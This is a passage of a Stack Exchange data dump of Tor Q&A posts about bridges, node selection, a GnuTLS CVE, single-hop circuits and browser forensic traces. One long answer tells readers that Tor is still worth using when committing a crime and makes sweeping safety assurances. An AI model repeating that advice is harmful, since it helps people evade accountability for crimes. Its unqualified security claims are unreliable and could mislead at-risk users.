lists 5269 relays.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-04T14:03:19.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1647" PostTypeId="1" AcceptedAnswerId="9794" CreationDate="2014-03-04T14:51:41.853" Score="4" ViewCount="561" Body="&lt;p&gt;The Tor Project is switching to ECC, a set of algorithms promoted by the NSA. People like Bruce Schneier have mentioned concerns about both NSA's promotion of this algorithm, as well as the chosen constants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NTRU appears to have a variety of benefits, both performance wise and in the light of recent advancements regarding quantum computers.[1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any benefits of ECC over such an algorithm? If not, why isn't the Tor Project switching to NTRU in place of ECC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://tbuktu.github.io/ntru/&quot; rel=&quot;nofollow&quot;&gt;http://tbuktu.github.io/ntru/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2016-03-02T16:36:48.963" Title="Has the Tor project considered using NTRU?" Tags="|security|performance|threat-models|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1649" PostTypeId="2" ParentId="1639" CreationDate="2014-03-04T15:08:11.297" Score="1" Body="&lt;p&gt;To make it harder for people to detect the fact that you using Tor and to make harder to censor you by preventing you from connecting to Tor you may want to use bridges. In the current Tor Browser Bundle you can configure those in the startup wizard or by clicking on network settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple ways of getting to know such bridges:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Know someone running a bridge and ask them for their data&lt;/li&gt;&#xA;&lt;li&gt;Visit: &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Sending a mail to:  bridges@bridges.torproject.org containing &lt;code&gt;get bridges&lt;/code&gt; in the body&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need further help it is good to know where to get some. help@rt.torproject.org is the way to go, if you have troubles using other channels.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-03-04T15:08:11.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1650" PostTypeId="2" ParentId="1570" CreationDate="2014-03-04T15:30:38.523" Score="1" Body="&lt;p&gt;This is a know problem with Orbot. You either have to wait or update to a nightly build of Orfox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/guardianproject/Orweb/issues/46&quot; rel=&quot;nofollow&quot;&gt;https://github.com/guardianproject/Orweb/issues/46&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="1292" LastEditDate="2014-03-04T15:37:12.630" LastActivityDate="2014-03-04T15:37:12.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1652" PostTypeId="1" AcceptedAnswerId="1653" CreationDate="2014-03-04T23:02:52.903" Score="3" ViewCount="215" Body="&lt;p&gt;There is a new major security vulnerability in the GnuTLS library (&lt;a href=&quot;http://www.gnutls.org/security.html#GNUTLS-SA-2014-2&quot; rel=&quot;nofollow&quot;&gt;CVE-2014-0092&lt;/a&gt;) that undermines SSL on (some?) Linux platforms. What versions of the Tor Browser Bundler or Tails (if any) are affected? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(less technical coverage of the issue is at &lt;a href=&quot;http://arstechnica.com/security/2014/03/critical-crypto-bug-leaves-linux-hundreds-of-apps-open-to-eavesdropping/&quot; rel=&quot;nofollow&quot;&gt;Arstechnica&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-03-05T07:59:33.097" Title="Does the GnuTLS bug (CVE-2014-0092) affect the Tor Browser Bundle or Tails?" Tags="|tor-browser-bundle|tails|linux|tls|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1653" PostTypeId="2" ParentId="1652" CreationDate="2014-03-05T07:59:33.097" Score="2" Body="&lt;p&gt;Tor doesn't use GnuTLS, but OpenSSL. So it is not affected by this vulnerability.&#xA;You also might have heard about an attack on SSL (Triple handshake attack). Nick Mathewson wrote an &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2014-March/006372.html&quot; rel=&quot;nofollow&quot;&gt;analysis to tor-dev&lt;/a&gt;. According to him this also doesn't affect Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-05T07:59:33.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1654" PostTypeId="1" CreationDate="2014-03-05T13:31:04.743" Score="2" ViewCount="759" Body="&lt;p&gt;I'm looking at the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt;, in particular the &lt;code&gt;Socks5Proxy&lt;/code&gt; option:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Socks5Proxy &lt;em&gt;host[:port]&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Tor will make all OR connections through the&#xA;SOCKS 5 proxy at host:port (or host:1080 if port is not specified).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can anyone explain this option in more detail?&lt;/li&gt;&#xA;&lt;li&gt;Would this option allow an exit node to run over a socks proxy, or is this option only for  users?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1299" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-03-09T09:38:47.160" Title="Tor Configuration - Socks5Proxy / Socks4Proxy" Tags="|exit-relays|socks|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1655" PostTypeId="1" CreationDate="2014-03-05T13:45:02.883" Score="3" ViewCount="393" Body="&lt;p&gt;I can read and write some Japanese and I wanted to post on a Japanese message board that interests me.&#xA;But they only allow Japanese IPs. So I came up with the idea of using Tor Browser and setting my Exitnode to &lt;code&gt;{jp}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now when I want to sent my post there I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ＥＲＲＯＲ：公開ＰＲＯＸＹからの投稿は受け付けていません！！(1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried switching identities several times, but I keep getting this message.&#xA;Apparently, they do not allow public proxies.&#xA;Is there any way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1300" LastEditorUserId="88" LastEditDate="2014-04-16T07:17:57.423" LastActivityDate="2014-04-16T07:17:57.423" Title="Cannot post on Japanese message board because I'm using Tor" Tags="|network-configuration|troubleshooting|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1656" PostTypeId="2" ParentId="1503" CreationDate="2014-03-05T14:12:06.290" Score="0" Body="&lt;p&gt;For what it's worth, you can also use unbound as a DNSSEC validating DNS recursor over Tor. But think long and hard about how this will affect circuit isolation and fingerprinting!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/unbound/unbound.conf&#xA;&#xA;server:&#xA;  auto-trust-anchor-file: &quot;/var/lib/unbound/root.key&quot;&#xA;  interface: 127.0.0.1&#xA;  do-ip6: no&#xA;  tcp-upstream: yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unbound doesn't support Socks, so you would use transparent proxying or maybe torsocks.&lt;/p&gt;&#xA;" OwnerUserId="1301" LastActivityDate="2014-03-05T14:12:06.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1658" PostTypeId="1" AcceptedAnswerId="1659" CreationDate="2014-03-05T20:41:06.470" Score="4" ViewCount="1711" Body="&lt;p&gt;What are the rules by which Tor Proxies select entry, exit, and middle nodes from the list of Tor nodes? Where is this implemented in the source code?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="923" LastEditDate="2015-01-20T11:35:27.403" LastActivityDate="2015-01-20T11:35:27.403" Title="What are Tor Node Selection Rules?" Tags="|exit-relays|source-code|guard-node|implementations|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1659" PostTypeId="2" ParentId="1658" CreationDate="2014-03-06T00:00:15.177" Score="5" Body="&lt;p&gt;The rules for selecting nodes can be found in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;path-spec&lt;/a&gt;. Specifically in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt?id=426e9ac1069ee843000aaeed9260ba4c9733af00#n184&quot; rel=&quot;nofollow&quot;&gt;§2.2 Path selection and constraints&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few points from the section:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;We do not choose the same router twice for the same path.&lt;/li&gt;&#xA;  &lt;li&gt;We do not choose any router in the same family as another in the same&#xA;  path. (Two routers are in the same family if each one lists the other&#xA;  in the &quot;family&quot; entries of its descriptor.)&lt;/li&gt;&#xA;  &lt;li&gt;We do not choose more than one router in a given /16 subnet&#xA;  (unless EnforceDistinctSubnets is 0).&lt;/li&gt;&#xA;  &lt;li&gt;We don't choose any non-running or non-valid router unless we have&#xA;  been configured to do so. By default, we are configured to allow&#xA;  non-valid routers in &quot;middle&quot; and &quot;rendezvous&quot; positions.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;If we're using Guard nodes, the first node must be a Guard (see 5&#xA;  below)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For &quot;fast&quot; circuits, we only choose nodes with the Fast flag. For&lt;br&gt;&#xA;  non-&quot;fast&quot; circuits, all nodes are eligible.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For all circuits, we weight node selection according to router&#xA;  bandwidth.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We also weight the bandwidth of Exit and Guard flagged nodes&#xA;  depending on    the fraction of total bandwidth that they make up and&#xA;  depending upon the    position they are being selected for.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Additionally, we may be building circuits with one or more requests&#xA;  in    mind.  Each kind of request puts certain constraints on paths:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;All service-side introduction circuits and all rendezvous paths&#xA;  should be Stable.&lt;/li&gt;&#xA;  &lt;li&gt;All connection requests for connections that we think will need to&#xA;     stay open a long time require Stable circuits.  Currently, Tor decides&#xA;     this by examining the request's target port, and comparing it to a&#xA;     list of &quot;long-lived&quot; ports. (Default: 21, 22, 706, 1863, 5050,&#xA;     5190, 5222, 5223, 6667, 6697, 8300.)&lt;/li&gt;&#xA;  &lt;li&gt;DNS resolves require an exit node whose exit policy is not equivalent&#xA;     to &quot;reject &lt;em&gt;:&lt;/em&gt;&quot;.&lt;/li&gt;&#xA;  &lt;li&gt;Reverse DNS resolves require a version of Tor with advertised eventdns&#xA;     support (available in Tor 0.1.2.1-alpha-dev and later).&lt;/li&gt;&#xA;  &lt;li&gt;All connection requests require an exit node whose exit policy&#xA;     supports their target address and port (if known), or which &quot;might&#xA;     support it&quot; (if the address isn't known).  See 2.2.1.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;2.2.1. Choosing an exit&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If we know what IP address we want to connect to or resolve, we can&#xA;  trivially tell whether a given router will support it by simulating&lt;br&gt;&#xA;  its declared exit policy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because we often connect to addresses of the form hostname:port, we&#xA;  do not    always know the target IP address when we select an exit&#xA;  node.  In these    cases, we need to pick an exit node that &quot;might&#xA;  support&quot; connections to a    given address port with an unknown&#xA;  address.  An exit node &quot;might support&quot;    such a connection if any&#xA;  clause that accepts any connections to that port    precedes all&#xA;  clauses (if any) that reject all connections to that port.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unless requested to do so by the user, we never choose an exit node&#xA;  flagged as &quot;BadExit&quot; by more than half of the authorities who&#xA;  advertise    themselves as listing bad exits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="88" LastEditDate="2015-01-20T10:33:07.407" LastActivityDate="2015-01-20T10:33:07.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1662" PostTypeId="2" ParentId="1312" CreationDate="2014-03-06T00:50:59.290" Score="7" Body="&lt;p&gt;First of all, note that doing this is not supported by Tor and you'll be better served by setting up a proxy of your own somewhere (you lose all benefits that Tor provides by doing this and will introduce a lot of latency into your connections). Also note that very few exit relays will have this set if any, so it probably won't work anyways and it may result in you getting malicious exits that are trying to trap people who are doing this. You have been warned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, to do what you want you'll need to first make some configuration changes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;ExcludeSingleHopRelays 0|1&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This option controls whether circuits built by Tor will include relays&#xA;  with the AllowSingleHopExits flag set to true. If&#xA;  ExcludeSingleHopRelays is set to 0, these relays will be included.&#xA;  Note that these relays might be at higher risk of being seized or&#xA;  observed, so they are not normally included. Also note that relatively&#xA;  few clients turn off this option, so using these relays might make&#xA;  your client stand out. (Default: 1)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will esentially allow you to use Tor like a normal 1-hop proxy, however, you will essentially lose all anonymity. To actually construct single hop circuits by default (without manually constructing them), you'll need to modify the source and rebuild. Check &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/22ccfc6b5f25f75795e5f9d554b18e717962de3e:/src/or/or.h#l4338&quot;&gt;&lt;code&gt;src/or/or.h&lt;/code&gt;&lt;/a&gt; and change the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define DEFAULT_ROUTE_LEN 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define DEFAULT_ROUTE_LEN 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a terrible idea. Seriously, don't do it.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-03-07T14:06:14.773" LastActivityDate="2014-03-07T14:06:14.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1663" PostTypeId="2" ParentId="1654" CreationDate="2014-03-06T13:04:31.680" Score="1" Body="&lt;p&gt;In Tor terminology OR connections go from clients and servers. So if a client makes a connection to a relay or two relays have a connection those would be OR connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some institutions use proxies in their network. Usually this are HTTP (and HTTPS) proxies. In some cases another protocol (SOCKS4, SOCKS5 etc.) could also be used for proxying. If you happen to use such a SOCKS proxy in your network, you'll have to set this option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option also allows to run an exit node over a SOCKS proxy. However if you do this you should ensure that you don't mess with the traffic of your users.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-06T13:04:31.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1664" PostTypeId="1" CreationDate="2014-03-06T18:01:30.197" Score="0" ViewCount="640" Body="&lt;p&gt;The tor-browser is saving download history on-disk in  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser/.local/share/recently-used.xbel  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and files in  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser/.local/share/gvfs-metadata/  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to stop this behavior?&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="88" LastEditDate="2014-03-06T22:43:56.990" LastActivityDate="2014-03-06T23:02:54.683" Title="How to stop the Tor Browser from storing sensitive data in its .local directory?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1665" PostTypeId="2" ParentId="1664" CreationDate="2014-03-06T23:02:54.683" Score="1" Body="&lt;p&gt;Back in 2013 Runa Sandvik did a forensic analysis. You can see the results in the PDF titled »&lt;a href=&quot;https://research.torproject.org/techreports/tbb-forensic-analysis-2013-06-28.pdf&quot; rel=&quot;nofollow&quot;&gt;Forensic Analysis of the Tor Browser Bundle&#xA;on OS X, Linux, and Windows&lt;/a&gt;«. Runa found the issues you asked for plus entries in the &lt;code&gt;.bash_history&lt;/code&gt; and &lt;code&gt;.xsession-errors&lt;/code&gt;. There are bug reports &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8695&quot; rel=&quot;nofollow&quot;&gt;#8695&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8706&quot; rel=&quot;nofollow&quot;&gt;#8706&lt;/a&gt; which deal with those findings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment there is no official or automated solution. Your best bet is to remove those files by hand or use a live CD like &lt;a href=&quot;http://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;tails&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-06T23:02:54.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1666" PostTypeId="2" ParentId="1520" CreationDate="2014-03-07T00:34:44.683" Score="3" Body="&lt;p&gt;Firstly I have to say the comment posted by holahola is spouting lies and FUD. Tor Project had nothing to do with Freedom Hosting or it's take-down. Freedom Hosting hosted everything without censorship, and because some people used that for child porn, the FBI attacked it. They got to it because they found the owner because of completely unrelated means for sending a lot of money into Romania or something. They checked him out, and found out the also owned Freedom Hosting. That's all that happened, no Tor Project intervention. As for your comment about &quot;forgetting&quot; to update, that's retarded. Tor Project does not comply with law enforcement if it requires them compromising Tor. Even if they did try, it would be very difficult to get away with. Now when you say you have to be a programmer to be 100% protected, just stop. You should NEVER IN A MILLION YEARS roll your own crypto, or crypto implementations (or anonymity networks). I guarantee you will be more anonymous if you use Tor than if you use your own network, unless you have the brainpower of a large amount of coordinated, intelligent programmers and researchers. Not only that, but in general your comment seems uneducated and overly paranoid, but not in the good way (i.e. you fail to mention the most common and dangerous attacks, and instead spread FUD).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, to answer OP's question, short answer is &quot;very well protected&quot;, long answer is &quot;it depends&quot;. Here is a quick overview of how Tor works. Your computer picks three relays out of the pool of about 5000 (the third relay must be an exit node, of which there are about 1000). It creates a circuit using those three, so the first node (guard or entry node) only knows what middle node you are using, and who and where you are (from your IP address), and how much data is sent, but it does not know the contents of the encrypted connection, the website you want to connect to, or anything else (put simple, the first node knows who you are and who the middle node is, but not what you are doing). The second (middle) node knows even less. It only knows how much data is sent and what entry node and exit node you are using, but it knows nothing about the content of the communications or you. The last part of the circuit is the exit node. It knows the most. It knows, along with that middle node is used, what websites you connect to, and if the website is not secured with TLS (https), the contents of the web page or any data you send to it (including your passwords if you send them to an unenecrypted website). The vast majority of exit nodes do not actively &quot;sniff&quot; this data, but be aware that a malicious exit node could if it wanted, but as long as your online activity does not give you away (like signing into your own e-mail or Facebook) then it should be no problem. Now, the whole idea of Tor is making the chance that the entry, middle, and exit nodes are all owned by a malicious entity as low as possible, and as long as the entry and exit nodes (and to a lesser extent, the middle node) are not both malicious, the circuit will remain anonymous. So Tor Project (well, the onion routing method in general) works around the issue of trust by developing a system which is very fault tolerant in the case of a breach of trust. To tie this to your question about how well protected you are, the chances you will be deanonymized by traffic pattern analysis (analyzing the exit and entry node to see correlation, which requires being able to monitor both at once) are very, very low. Even the NSA has great trouble doing this (I don't think it ever has), and the only threat to Tor in this aspect is a so-called &quot;global passive adversary&quot; (an adversary with the capability of monitoring all communications in the world, passively). The NSA tries to be a global passive adversary, but it is limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, don't feel 100% safe yet. There are still other, easier ways to deanonymize you than monitoring a large amount of the Tor network at once. However, you should note that these techniques only work for an adversary that wants to know who is visiting a website, not what websites are being visited by you (i.e. an attacker cannot deanonymize you on the ISP or Wi-fi level, you are entirely safe from that). The deanonymization methods can bypass the security of Tor itself by targeting the web browser, which is by far the most complicated part of the Tor Browser Bundle (and thus has the most &quot;attack surface area&quot;). The web browser tries to be secure, but if you enable scripts, an attacker can feed you a website with malicious javascript (either by compromising the website itself, the website's ISP, or if you are not using TLS or a hidden service, by modifying the contents with a compromised exit node). The javascript may have the ability to exploit your browser and possibly even compromise your entire computer. In order for this to happen, the attacker has to be skilled. Activating javascript isn't a death sentence because most vulnerabilities are fixed soon after they are found, but the javascript engine in Firefox is so complicated that vulnerabilities are found all the time, some of which are very severe (so-called &quot;arbitrary code execution vulnerabilities&quot;). This is how the FBI compromised some Tor users after they took-down Freedom Hosting. They got control of the physical servers running Freedom Hosting websites, and injected malicious javascript (the &quot;torsploit&quot;) which attacked any Firefox web browser using a version older than 17.0.7 or something. The attack caused all computers with scripts enabled to run code which bypassed Tor, and sent some basic personal information to the FBI about your computer (anyone with scripts disabled was not affected even if they loaded a compromised site). If the FBI wanted, they could have easily changed the exploit to give your computer full-fledged spyware, or recruit your computer in a botnet, or do anything it wanted as if you downloaded and ran the malicious code yourself (do NOT rely on any anti-virus software to have any chance against such browser exploits). My recommendation to stay secure from this deanonymization technique is to keep javascript disabled globally, and only enable it for specific sites if you really, really, really have to. Even something like Wikipedia could be potentially compromised, or a malicious exit node that has access to Wikipedia's private key (which only organizations like the NSA could potentially do) could inject malicious code (if you are using Wikipedia with TLS, aka https, then under 99% of circumstances the exit node will not even know what article you are viewing, only that you are on Wikipedia), so do not enable javascript for &quot;trusted&quot; sites either unless you need to. Of course, it is theoretically possible that an exploit could target the CSS parser, or the image renderer etc. (which remain on even if you disable scripts), but this would be extremely difficult and an NSA-level adversary is unlikely to use such an exploit on you, even if they do know one (which is a stretch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To respond to your question about punishment, I can't answer. I don't know what situation you are in, where you live, what you are doing, or any of the unique laws you are under. I can say that in the majority of places, Tor is entirely legal to use. If you do something illegal through Tor and get caught (e.g. by an exploit, or more likely by accidentally telling someone something you shouldn't have), the punishments can be more severe because you would be accused of not only the crime itself, but of taking efforts to hide the crime using technology (i.e. Tor), which in the United States at least causes your &quot;punishment&quot; to be bumped up a bit. If you are actually planning on committing a crime though, it'd still be better to use Tor than not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your final question about how secure Tor is compared to proxies or public Wi-fi, it is much more secure (and anonymous). Most proxies do not actually encrypt your communications, so an adversary monitoring your ISP will be able to see what websites you are viewing (although an adversary monitoring a website would not be able to easily know who is viewing it through the proxy). Proxies are also often untrustworthy, and many &quot;proxy lists&quot; out there have honeypots, or are composted of botnets, and should not be trusted with your data. Even if you do find a secure, trustworthy, and encrypted proxy, it will still be much easier to trace you down because of not only the single point of failure, but because one node gives much less protection against traffic pattern analysis than three. Also note that Tor has several extra features that prevent against pattern analysis such as padding every &quot;cell&quot; (a unit of data) until it contains exactly 512 bytes. This makes sure that the size of any data you transmit can only be narrowed down with a precision to 512 bytes. Imagine this hypothetical situation. You connect to a website, and one page is 42,514 characters long and describes how to raise a cat. Another page is 42,836 characters long and explains how to create IEDs (homemade explosives). If you use a proxy, anyone monitoring your ISP who knows you are on that site will be able to tell if you are going to the cat-raising page or the IED page because they will see either 42,514 bytes of encrypted data passing through, or 42,836, even though they cannot decrypt any of it, yet they can still infer what webpage you are going on. Tor on the other hand uses padded cells, so viewing either webpage sends exactly 43,008 bytes of data instead, which is because  84 cells of data (technically 83 full cells, and one cell with 4% encrypted data and 96% random, but indistinguishable from encrypted, data) is sent over. This of course causes a little extra overhead, but it offers protection from some traffic pattern analysis attacks that even an encrypted proxy (or VPN) are more vulnerable to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr&#xA;You are safe with Tor. You are very safe with Tor with scripts disabled and an up to date Tor Browser Bundle. In the United States punishments will be a little worse if you use Tor to commit a crime vs not using Tor (but it's still worth it to use Tor). And Tor is much, much better than public Wi-fi or a proxy which offer very little protection from any even remotely sophisticated adversary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this clears things up. Sorry for the long post.&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2014-03-07T00:34:44.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1667" PostTypeId="2" ParentId="1655" CreationDate="2014-03-07T02:27:45.547" Score="2" Body="&lt;p&gt;If this is Futaba (2chan) then you are out of luck. It keeps one of the largest public proxy lists in the world. You'll do better buying some really good private proxies or very small VPNs or VPSes.&lt;/p&gt;&#xA;" OwnerUserId="1308" LastEditorDisplayName="user5" LastEditDate="2014-04-10T17:50:00.140" LastActivityDate="2014-04-10T17:50:00.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1668" PostTypeId="1" CreationDate="2014-03-07T10:37:53.240" Score="1" ViewCount="1350" Body="&lt;p&gt;I am using vidalia from past 3 years. I used to simply download latest version of vidalia bundle from the tor website, change configuration and use it for browsing via different browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously there was single vidalia bundle, but now there are three options vidalia bridge bundle, vidalia relay bundle and vidalia exit bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i am totally confused which bundle to download and what are the differences between these bundles. I tried searching for the differences between them on the official site but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please explain it in easy language. .. &lt;/p&gt;&#xA;" OwnerUserId="1310" LastActivityDate="2014-03-07T12:43:53.323" Title="difference between vidalia bridge bundle, vidalia relay bundle and vidalia exit bundle" Tags="|vidalia|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1670" PostTypeId="2" ParentId="1668" CreationDate="2014-03-07T12:43:53.323" Score="1" Body="&lt;p&gt;Vidalia is not part anymore of the standard Tor Browser Bundle. It will be completely discontinued soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, the differences between these Bundles you name are their default configurations, since they are tailored to suit a user who wants to run specifically a bridge, a relay and an exit node.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-03-07T12:43:53.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1671" PostTypeId="1" CreationDate="2014-03-07T16:51:41.567" Score="7" ViewCount="1022" Body="&lt;p&gt;I have Tor set up on a Raspberry Pi dedicated to just Tor. I provide what bandwidth I can during the day so that it doesn't interfere with my online activities. I would like to provide most if not all of my bandwidth when I am offline, as I'm not using the bandwidth at that time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know anything about the proper syntax or if it's even possible to implement this as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking is something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RelayBandwitdhRate 100 KB From 6am to 8pm&#xA;RelayBandwidthBurst 200 KB From 6am to 8pm&#xA;&#xA;RelayBandwitdhRate 200 KB From 8pm to 6am&#xA;RelayBandwidthBurst 400 KB From 8pm to 6am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this option can be implemented, then a logical extension of this option would be more bandwidth when idle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those people that host relays on machines they use, have a timer setting (like screensavers have) when the computer is idle for X-amount of time then Tor is allowed to use more if not all bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="1312" LastEditorDisplayName="user5" LastEditDate="2014-03-07T23:59:25.227" LastActivityDate="2014-03-09T12:24:37.903" Title="Is there a way to have a Tor relay use more bandwidth as certain times of the day?" Tags="|relays|bandwidth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
